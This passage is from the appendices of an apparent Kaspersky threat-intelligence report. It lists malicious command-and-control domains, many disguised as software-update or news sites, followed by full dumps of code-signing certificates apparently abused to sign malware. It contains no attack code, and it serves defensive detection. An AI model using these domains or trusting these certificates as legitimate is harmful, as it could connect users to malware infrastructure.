re.policyforums.org redblacksleep.createandhost.com redlooksman.servehttp.com reportinshop.com reportinside.net rootca.000space.com sales.eu5.org secureonline.net self-makeups.com self-makingups.com sellingconnection.org sens.humanforum.net shndia.com silverbell.000space.com sipapals.servehalflife.com smartappactiv.com smartnewup.crabdance.com sourcecodecenter.org spotnews.com st.cloins.com stloelementry.200gigs.com students.serveblog.net supportforum.org terryblog.110mB.com 16 TLP: Green For any inquiries, please contact intelreportskaspersky.com thenewesthta.mypressonline.com thirdbase.bugs3.com todaynewscentre.net tradeinf.com unknown12.ignorelist.com updaairpush.ignorelist.com updaily.biz.nf updaily.phpnet.us updaisin.net16.net updalsim.freehostee.com updarling.000a.biz updatable.20x.cc updateall.000a.biz updatecache.net updatefast.000a.biz updateiphone.20x.cc updateitunes.waldennetworks.com updatejava.megabyet.net updatepatch.icr38.net updateschedule.verwalten.ch updatesw.110mb.com updatesw.zoka.cc updatewell.freebyte.us updatewifis.dyndns-wiki.com updauganda.waldennetworks.com updawn4you.net84.net upgrade77.steadywebs.com video.humorme.info voicemailz.net wein.isgreat.org windowservices.net world.issuetoday.net world.uktimesnews.com wowhome.byethost8.com ww42.200gigs.com www.appfreetools.com www.digitalimagestudy.com www.imggoogle.com www.info-cache.net www.mobilitysvc.com www.neosilba.com www.newsupdates.org www.serveblog.net www.singlehost.org www.smartnewup.com www.sqlengine.net www.strangled.net www.universalonline.com www.win7smartupdate.com yahooservice.biz yellowleos.phpnet.us ypiz.net 17 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix c. code-signing certificates Certificate: Data: Version: 3 (0x2) Serial Number: 2576597 (0x2750d5) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Jun 2 03:55:56 2009 GMT Not After : Jun 2 03:55:56 2011 GMT Subject: CMY, OJARING Communications Sdn. Bhd., OUJARING, CNwebmail.jaring.my, LW.Persekutuan/emailAddresssysadminjaring.my, STKuala Lumpur Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a4:81:6d:8d:e4:a6:fa:64:68:c8:41:4b:f3:08: 89:c6:8c:f5:52:c5:64:00:7a:a4:00:29:be:fb:e6: c8:b7:92:de:52:71:f8:23:27:16:8e:4f:59:c4:c3: 52:2c:b2:7e:72:d9:b1:88:ae:a5:23:01:2d:5b:63: dd:8d:49:1e:8f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 41:6B:A5:9E:58:E5:29:B7 X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 57:b9:37:76:d1:c4:95:5d:cf:20:51:ea:c5:92:ad:7e:24:a7: 18 TLP: Green For any inquiries, please contact intelreportskaspersky.com 78:d2:92:c1:76:45:c6:0f:6e:84:35:15:aa:82:8b:42:55:1d: e0:8a:8e:86:13:de:98:02:8e:25:2b:24:a8:8b:84:a2:36:37: f4:f6:1d:81:1b:96:c7:ee:2d:f9:68:fe:78:98:8b:bb:5a:a0: bb:40:03:b2:ca:6b:84:12:e8:c4:cd:df:ad:9d:66:c7:75:08: 60:5b:e3:04:de:bf:25:99:fb:d1:5a:12:b1:d9:a8:c3:48:19: ed:bf:dc:b7:5f:ff:8e:cf:37:2b:24:65:e5:3f:b9:b2:63:cc: cf:5c BEGIN CERTIFICATE MIIC2TCCAkKgAwIBAgIDJ1DVMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwNjAy MDM1NTU2WhcNMTEwNjAyMDM1NTU2WjCBtjELMAkGA1UEBhMCTVkxJzAlBgNVBAoT HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H MRowGAYDVQQDExF3ZWJtYWlsLmphcmluZy5teTEWMBQGA1UEBxMNVy5QZXJzZWt1 dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRYwFAYDVQQI Ew1LdWFsYSBMdW1wdXIgMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKSBbY3kpvpk aMhBS/MIicaM9VLFZAB6pAApvvvmyLeS3lJxCMnFo5PWcTDUiyyfnLZsYiupSMB LVtj3Y1JHo8CAwEAAaOBijCBhzARBgNVHQ4ECgQIQWulnljlKbcwRAYDVR0gBD0w OzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNv bS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04WFwWroyUdvOGbcV0boR3MAsG A1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQBXuTd20cSVXc8gUerFkq1JKd4 0pLBdkXGD26ENRWqgotCVR3gio6GE96YAo4lKySoi4SiNjf09h2BG5bH7i35aP54 mIu7WqC7QAOyymuEEujEzdtnWbHdQhgWME3r8lmfvRWhKx2ajDSBntv9y3X/O zzcrJGXlP7myY8zPXA END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 2657623 (0x288d57) Signature Algorithm: sha1WithRSAEncryption Issuer: CMY, ODigicert Sdn. Bhd., OU457608K, CNDigisign Server ID (Enrich) Validity Not Before: Sep 29 06:46:10 2009 GMT Not After : Sep 29 06:46:10 2011 GMT Subject: OMARDI, CNanjungnet.mardi.gov.my, STSERDANG Subject Public Key Info: 19 TLP: Green For any inquiries, please contact intelreportskaspersky.com Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:ba:4f:4f:7d:e9:62:7a:d5:f8:62:99:0d:29:4c: af:0e:f4:7d:49:7e:6e:d9:30:d3:06:49:6b:b0:77: cd:67:2d:c9:61:55:3d:00:b1:7a:b4:a0:f4:64:61: 9c:81:38:3e:44:6e:0e:15:a9:58:f9:60:68:a2:29: b2:0d:7e:67:71 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: 48:15:99:11:61:48:10:FD X509v3 Certificate Policies: Policy: 2.16.458.1.1 CPS: http://www.digicert.com.my/cps.htm X509v3 Authority Key Identifier: keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C 5:74:6E:84:77 X509v3 Key Usage: Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment Signature Algorithm: sha1WithRSAEncryption 8a:89:09:23:6f:ff:bd:7d:0b:45:ff:a8:83:ae:cf:c3:f3:1a: 79:9d:f4:42:22:37:78:b4:6b:7b:86:4f:ee:7a:35:4b:52:8e: 25:25:b3:06:37:1f:f0:bd:72:56:af:d9:b0:cd:48:be:8a:3c: a2:07:10:1f:7b:62:c9:01:02:47:a9:b8:7f:27:52:13:28:b4: c6:a8:5b:e5:57:1a:d3:92:3d:5b:5c:b3:a9:14:cf:1b:ea:fd: 43:48:36:11:9d:85:25:4d:f9:26:84:d8:4d:1a:9c:bd:47:67: 5f:e6:1d:e7:17:71:71:24:15:68:4e:68:9f:bf:62:10:3e:75: 83:a2 BEGIN CERTIFICATE MIICZTCCAc6gAwIBAgIDKI1XMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkwOTI5 MDY0NjEwWhcNMTEwOTI5MDY0NjEwWjBDMQ4wDAYDVQQKEwVNQVJESTEfMB0GA1UE AxMWYW5qdW5nbmV0Lm1hcmRpLmdvdi5teTEQMA4GA1UECBMHU0VSREFORzBcMA0G CSqGSIb3DQEBAQUAA0sAMEgCQQC6T0996WJ61fhimQ0pTK8O9H1Jfm7ZMNMGSWuw d81nLclhVT0AsXq0oPRkYZyBOD5Ebg4VqVj5YGiiKbINfmdxAgMBAAGjgYowgYcw EQYDVR0OBAoECEgVmRFhSBD9MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEF 20 TLP: Green For any inquiries, please contact intelreportskaspersky.com BQcCARYiaHR0cDovL3d3dy5kaWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSME GDAWgBTGFpNOFhfsFq6MlHbzhm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcN AQEFBQADgYEAiokJI2//vX0LRfog67Pw/MaeZ30QiI3eLRre4ZP7no1S1KOJSWz Bjcf8L1yVq/ZsM1Ivoo8ogcQH3tiyQECR6m4fydSEyi0xqhb5Vca05I9W1yzqRTP Gr9Q0g2EZ2FJU35JoTYTRqcvUdnXYd5xdxcSQVaE5on79iED51g6I END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1e:de:de:a3:da Signature Algorithm: sha1WithRSAEncryption Issuer: CBE, OCybertrust, OUEducational CA, CNCybertrust Educational CA Validity Not Before: Jan 16 08:55:33 2009 GMT Not After : Jan 16 08:55:33 2012 GMT Subject: CGB, STEngland, LLondon, OLondon Metropolitan University, OUISS, CNskillsforge.londonmet.ac.uk Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:b8:73:f6:45:f2:83:21:4e:66:5d:a8:7d:29:a4: aa:21:1e:cb:1e:03:41:dc:1f:cd:1b:2c:d0:f6:3f: ca:ed:46:f2:be:8f:32:92:1c:a1:69:06:08:db:b9: ee:e2:51:bb:9c:bf:68:c3:6f:61:8a:de:e5:be:46: 5b:c4:bf:44:b9 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Key Encipherment X509v3 Authority Key Identifier: keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5 B:76:77:50:E1 X509v3 Subject Key Identifier: 14:5A:F5:85:8E:AC:81:77:46:5F:22:70:39:2E:64:E5:EF: F5:28:E1 X509v3 CRL Distribution Points: 21 TLP: Green For any inquiries, please contact intelreportskaspersky.com Full Name: URI:http://crl.globalsign.net/educational.crl Authority Information Access: CA Issuers URI: http://secure.globalsign.net/cacert/educational.crt Netscape Cert Type: SSL Client, SSL Server Signature Algorithm: sha1WithRSAEncryption 2a:fd:1e:cb:cd:45:42:24:44:32:72:bd:3c:cb:27:31:4a:8b: 2a:25:48:65:06:31:fd:81:5d:ac:e1:5b:6a:ff:96:2a:50:73: 1e:16:9b:2a:4f:18:ee:fe:26:30:d0:cb:96:f6:11:e6:2b:0f: 95:d1:4b:80:cd:a8:aa:0c:1b:6c:a4:7a:41:af:db:9f:00:b1: 64:51:d3:db:16:ad:27:98:23:a8:43:dc:3a:2c:17:79:7b:90: 71:fa:ad:00:9c:ec:d1:24:b7:ba:81:de:35:e9:d6:fe:a0:92: 46:69:b2:86:36:04:57:ba:9b:b0:92:24:e9:44:2b:ca:d8:09: 54:b0:2d:64:21:24:c0:d4:77:86:de:77:04:2b:f2:6b:a8:1d: de:9b:5b:df:32:d3:45:ee:32:e6:60:a6:07:77:02:ef:98:d1: 9d:de:40:3b:42:74:dd:c6:da:bb:2f:1a:42:58:93:db:2e:1f: f9:23:41:ab:e7:63:c7:1c:d3:ec:f3:bf:60:41:64:0c:ef:22: b3:a0:cb:ae:bd:32:0e:0f:3c:00:13:b0:32:47:62:b5:aa:22: 7b:76:0b:d2:f2:f5:eb:92:c8:f8:6c:9d:d3:ad:f7:f1:b9:c6: 94:51:31:5a:e8:1b:68:76:d4:3a:00:83:b3:3f:ef:03:a2:d2: c5:25:d8:d4 BEGIN CERTIFICATE MIIDnjCCAoagAwIBAgILAQAAAAABHt7eo9owDQYJKoZIhvcNAQEFBQAwXzELMAkG A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA5 MDExNjA4NTUzM1oXDTEyMDExNjA4NTUzM1owgY0xCzAJBgNVBAYTAkdCMRAwDgYD VQQIEwdFbmdsYW5kMQ8wDQYDVQQHEwZMb25kb24xJzAlBgNVBAoTHkxvbmRvbiBN ZXRyb3BvbGl0YW4gVW5pdmVyc2l0eTEMMAoGA1UECxMDSVNTMSQwIgYDVQQDExtz a2lsbHNmb3JnZS5sb25kb25tZXQuYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBI 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Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Apr 22 18:15:10 2009 GMT Not After : Apr 22 18:15:10 2010 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Insurance Company Inc, OUEBusiness, CNahi.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13: a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85: 56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47: b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45: b5:22:cc:bc:77 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:dlaitmiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC 23 TLP: Green For any inquiries, please contact intelreportskaspersky.com DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58: 7E:D6:A6 Signature Algorithm: sha1WithRSAEncryption 71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8: 3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b: d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf: 30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24: d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36: 45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a: 8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6: 04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31: 2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7: a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3: d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54: 14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64: aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82: cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f: 8a:93:1a:a2 BEGIN CERTIFICATE MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2HR Jyn2dnKaE6biSwW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI 2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi BgNVHSMEgZowgZeAFPoa3D5dprX9l9syyhA0CXoqqsoXmkdzB1MQswCQYDVQQG EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe 24 TLP: Green For any inquiries, please contact intelreportskaspersky.com wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKHuFgKirnFUxLGA2nosvWMq5Ac1Fl dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 1707608080 (0x65c80810) Signature Algorithm: sha1WithRSAEncryption Issuer: CTW, OTAIWANCA. COM Inc., OUSSL Certification Service Provider, CNTaiCA Secure CA Validity Not Before: Jul 2 06:34:05 2010 GMT Not After : Jul 17 15:59:59 2011 GMT Subject: CTW, STTaipei, LTaipei, OTRADEVAN, OUTRADEVAN, CNwww.esupplychain.com.tw Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d2:80:52:89:4d:eb:b7:dd:56:41:56:09:71:ce: 87:a0:ad:1d:27:c1:a5:e3:94:27:1b:22:f0:d5:6c: 3c:d5:23:df:0a:22:b9:a0:19:53:5d:85:7e:ca:2a: 51:4d:7d:24:c3:d0:64:0a:52:eb:84:59:f2:2e:68: c3:d8:bf:13:d1 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: keyid:D4:85:27:D2:27:A4:BE:AB:5E:2F:41:1B:EA:52:24:3 9:99:4E:46:2E X509v3 Subject Key Identifier: 4B:EC:AE:F9:6A:02:DF:92:0A:0D:6B:FC:B9:5A:C0:77:BB: 1E:56:D4 X509v3 CRL Distribution Points: Full Name: 25 TLP: Green For any inquiries, please contact intelreportskaspersky.com URI:http://sslserver.twca.com.tw/sslserver/ revoke10.crl X509v3 Certificate Policies: Policy: 2.16.158.3.1.8.5 User Notice: Explicit Text: Restriction 3.2.1.1 CPS: www.twca.com.tw X509v3 Basic Constraints: CA:FALSE Signature Algorithm: sha1WithRSAEncryption 8e:94:2c:a7:d4:ee:6f:d4:4b:3e:b1:ee:88:75:96:c2:52:b8: 37:ed:c3:13:51:4f:af:8c:e8:1a:0a:cc:c8:9d:81:16:06:2f: e5:48:a7:93:1e:10:07:4a:53:a2:f6:41:a4:93:29:93:c3:58: 88:7c:22:a4:f5:7f:53:b0:de:2f:d2:36:8b:1d:ed:54:c6:53: d0:d5:2e:26:cc:29:9b:94:4b:14:2e:19:78:89:29:54:02:6b: ff:93:9d:b2:83:c2:19:b0:a1:10:c9:f4:bd:bd:f0:35:2e:44: 4f:7c:00:35:33:ad:52:ac:49:0c:67:0e:48:ca:50:ff:8b:18: 1a:b5 BEGIN CERTIFICATE MIIDDTCCAnagAwIBAgIEZcgIEDANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJU VzEbMBkGA1UEChMSVEFJV0FOLUNBLkNPTSBJbmMuMSswKQYDVQQLEyJTU0wgQ2Vy dGlmaWNhdGlvbiBTZXJ2aWNlIFByb3ZpZGVyMRgwFgYDVQQDEw9UYWlDQSBTZWN1 cmUgQ0EwHhcNMTAwNzAyMDYzNDA1WhcNMTEwNzE3MTU1OTU5WjB5MQswCQYDVQQG EwJUVzEPMA0GA1UECBMGVGFpcGVpMQ8wDQYDVQQHEwZUYWlwZWkxEjAQBgNVBAoT CVRSQURFLVZBTjESMBAGA1UECxMJVFJBREUtVkFOMSAwHgYDVQQDExd3d3cuZXN1 cHBseWNoYWluLmNvbS50dzBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDSgFKJTeu3 3VZBVglxzoegrR0nwaXjlCcbIvDVbDzVI98KIrmgGVNdhX7KKlFNfSTD0GQKUuuE WfIuaMPYvxPRAgMBAAGjge0wgeowHwYDVR0jBBgwFoAU1IUn0iekvqteL0Eb6lIk OZlORi4wHQYDVR0OBBYEFEvsrvlqAtSCg1r/LlawHe7HlbUMEQGA1UdHwQ9MDsw OaA3oDWGM2h0dHA6Ly9zc2xzZXJ2ZXIudHdjYS5jb20udHcvc3Nsc2VydmVyL3Jl dm9rZTEwLmNybDBXBgNVHSAEUDBOMEwGB2CBHgMBCAUwQTAiBggrBgEFBQcCAjAW GhRSZXN0cmljdGlvbiA9My4yLjEuMTAbBggrBgEFBQcCARYPd3d3LnR3Y2EuY29t LnR3MAkGA1UdEwQCMAAwDQYJKoZIhvcNAQEFBQADgYEAjpQsp9Tub9RLPrHuiHWW wlK4N3DE1FPr4zoGgrMyJ2BFgYv5Uinkx4QB0pTovZBpJMpk8NYiHwipPV/U7De L9I2ix3tVMZT0NUuJswpm5RLFC4ZeIkpVAJr/5OdsoPCGbChEMn0vb3wNS5ET3wA NTOtUqxJDGcOSMpQ/4sYGrU END CERTIFICATE 26 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 19771 (0x4d3b) Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OAnthem Inc, OUEcommerce, CNAnthem Inc Certificate Authority Validity Not Before: Apr 22 18:15:10 2009 GMT Not After : Apr 22 18:15:10 2010 GMT Subject: CUS, STIndiana, LIndianapolis, OAnthem Insurance Company Inc, OUEBusiness, CNahi.anthem.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:d4:95:e5:13:d8:7f:91:27:29:f6:76:72:9a:13: a6:e2:4b:ec:16:ed:fc:a5:d8:f9:a1:f3:57:4b:85: 56:ec:ca:80:9f:0c:23:9d:36:45:db:ee:a8:ee:47: b7:33:21:e4:93:72:7d:00:02:98:08:d8:88:c9:45: b5:22:cc:bc:77 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 Subject Alternative Name: email:dlaitmiddlewareanthem.com X509v3 Key Usage: critical Key Encipherment X509v3 Authority Key Identifier: keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E 0:97:A2:AA:AC DirName:/CUS/OGTE Corporation/OUGTE CyberTrust Solutions, Inc./CNGTE CyberTrust Global Root serial:07:27:16:11 X509v3 Subject Key Identifier: 6B:46:CC:B6:F4:8F:05:14:46:5D:D8:23:B8:05:73:E3:58: 7E:D6:A6 Signature Algorithm: sha1WithRSAEncryption 27 TLP: Green For any inquiries, please contact intelreportskaspersky.com 71:72:2a:c2:fc:70:13:d6:7a:a7:08:50:f2:e5:c9:7d:61:e8: 3d:bd:98:89:2a:76:3f:16:1e:c1:2d:31:8b:81:b6:95:83:5b: d3:48:35:3d:78:9a:e3:76:c9:89:a0:8a:74:a0:cd:ae:56:cf: 30:c7:72:d2:72:d0:aa:4b:9c:18:13:41:90:30:45:6d:bd:24: d4:88:1e:83:f3:ef:ac:d7:c3:6f:82:2d:10:20:d6:06:01:36: 45:50:13:b4:32:6b:39:73:c9:7d:67:84:d4:ab:87:fc:c9:2a: 8d:ee:63:7a:e2:f1:8c:4a:47:7f:3a:cb:6e:68:a2:c1:32:c6: 04:e6:7a:35:45:46:05:99:29:90:2e:a8:2e:dd:8a:d4:8c:31: 2e:77:57:84:62:87:fa:e1:60:2a:2a:e7:15:4c:4b:18:0d:a7: a2:cb:d6:32:ae:40:73:51:65:76:df:08:d4:f5:fa:a9:d9:c3: d4:5f:12:dc:ca:cd:4d:1e:ca:de:9f:c3:c9:5d:53:4c:d2:54: 14:43:e5:d8:2b:9c:7c:7e:da:33:d7:69:80:43:dd:96:3d:64: aa:91:63:5f:48:50:7b:33:d7:85:3a:a9:d7:74:71:da:4a:82: cf:b1:14:82:f6:95:72:d8:a9:24:3e:b4:14:94:0c:17:2c:6f: 8a:93:1a:a2 BEGIN CERTIFICATE MIIDsTCCApmgAwIBAgICTTswDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDkwNDIyMTgx NTEwWhcNMTAwNDIyMTgxNTEwWjCBijELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0lu ZGlhbmExFTATBgNVBAcTDEluZGlhbmFwb2xpczElMCMGA1UEChMcQW50aGVtIElu c3VyYW5jZSBDb21wYW55IEluYzESMBAGA1UECxMJRUJ1c2luZXNzMRcwFQYDVQQD Ew5haGkuYW50aGVtLmNvbTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDUleUT2HR Jyn2dnKaE6biSwW7fyl2Pmh81dLhVbsyoCfDCOdNkXb7qjuR7czIeSTcn0AApgI 2IjJRbUizLx3AgMBAAGjggEPMIIBCzAMBgNVHRMBAf8EAjAAMCcGA1UdEQQgMB6B HGRsLWFpdC1taWRkbGV3YXJlQGFudGhlbS5jb20wDgYDVR0PAQH/BAQDAgUgMIGi BgNVHSMEgZowgZeAFPoa3D5dprX9l9syyhA0CXoqqsoXmkdzB1MQswCQYDVQQG EwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3li ZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0 IEdsb2JhbCBSb290ggQHJxYRMB0GA1UdDgQWBBRrRsy29I8FFEZd2CO4BXPjWH7W pjANBgkqhkiG9w0BAQUFAAOCAQEAcXIqwvxwE9Z6pwhQ8uXJfWHoPb2YiSp2PxYe wS0xi4G2lYNb00g1PXia43bJiaCKdKDNrlbPMMdy0nLQqkucGBNBkDBFbb0k1Ige g/PvrNfDb4ItECDWBgE2RVATtDJrOXPJfWeE1KuH/Mkqje5jeuLxjEpHfzrLbmii wTLGBOZ6NUVGBZkpkC6oLt2K1IwxLndXhGKHuFgKirnFUxLGA2nosvWMq5Ac1Fl dt8I1PX6qdnD1F8S3MrNTR7K3p/DyV1TTNJUFEPl2CucfH7aM9dpgEPdlj1kqpFj X0hQezPXhTqp13Rx2kqCz7EUgvaVctipJD60FJQMFyxvipMaog END CERTIFICATE 28 TLP: Green For any inquiries, please contact intelreportskaspersky.com Certificate: Data: Version: 3 (0x2) Serial Number: 820 (0x334) Signature Algorithm: md5WithRSAEncryption Issuer: CUS, OEquifax Secure Inc., CNEquifax Secure eBusiness CA1 Validity Not Before: Feb 28 05:56:46 2005 GMT Not After : Mar 31 05:56:46 2007 GMT Subject: CIS, Osecure.hotelreykjavik.is, OUhttps://services.choicepoint.net/get.jsp?GT50237618, OUSee www.freessl.com/cps (c)04, OUDomain Control Validated StarterSSL(TM), CNsecure.hotelreykjavik.is Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:db:6b:0d:53:8d:e1:71:f1:e2:48:aa:eb:94:d0: fa:14:c6:24:f8:39:db:22:dc:a7:8e:46:31:10:49: 88:42:af:f2:9a:c5:c7:a2:ef:ec:b5:8c:a3:49:f4: 47:cf:12:4f:e8:6c:dd:9b:5e:91:0d:87:72:6a:17: ea:d5:71:14:bd Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://crl.geotrust.com/crls/ebizca1.crl X509v3 Authority Key Identifier: keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6 A:47:7C:4C:A1 Signature Algorithm: md5WithRSAEncryption 78:45:fd:b4:64:e8:50:16:00:f0:35:39:cd:ab:b6:ed:ee:0d: 71:3b:2e:64:8e:92:42:f6:0d:23:28:c2:f8:e2:df:d0:ea:9c: ea:d7:ad:81:80:f2:ae:cb:95:70:7d:e2:2f:c0:21:9a:d7:0c: d2:30:94:a6:08:ca:ff:33:80:33:29:fd:f6:14:f5:49:c8:ae: 1d:eb:6b:6e:bf:58:d3:f1:d5:4b:f1:3c:3a:0d:06:1c:ac:29: 29 TLP: Green For any inquiries, please contact intelreportskaspersky.com 